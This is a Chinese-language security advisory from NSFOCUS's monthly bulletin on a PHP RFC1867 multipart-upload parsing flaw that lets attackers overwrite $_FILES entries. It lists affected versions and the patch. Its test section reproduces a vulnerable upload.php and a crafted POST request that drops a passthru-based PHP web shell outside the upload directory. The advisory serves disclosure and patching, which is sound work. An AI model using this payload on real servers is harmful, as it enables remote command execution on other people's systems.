首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第52期->最新漏洞
期刊号: 类型: 关键词:
PHP处理RFC1867 MIME格式导致数组错误漏洞

日期:2004-10-10

发布日期:2004-09-15
更新日期:2004-10-08

受影响系统:
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0
不受影响系统:
PHP PHP 5.0.2
PHP PHP 4.3.9
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 11190

PHP是一种流行的WEB服务器端编程语言。

PHP在处理RFC1867 MIME数据的时候存在漏洞,远程攻击者可以利用这个漏洞覆盖一些内存数据。

rfc1867.c中的SAPI_POST_HANDLER_FUNC()函数错误的数组解析,可导致覆盖$_FILES数组元素。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109534848430404&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefano Di Paola (stefano@dipaola.wisec.it)提供了如下测试方法:

-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['user_file']['name'];

print "<pre>";
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
   print "File is valid, and was successfully uploaded. ";
   print "Here's some more debugging info:\n";
   print_r($_FILES);
} else {
   print "Possible file upload attack!  Here's some debugging info:\n";
   print_r($_FILES);
}
print "</pre>";

?>
----end file: upload.php------

-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php

<?
passthru($_GET['cm']);
?>

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream

<?
passthru($_GET['cm']);
?>


-----8<---endform----8<-----

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
PHP 4.3.9和5.0.2已经修复此漏洞,绿盟科技建议用户下载使用:

http://www.php.net
版权所有,未经许可,不得转载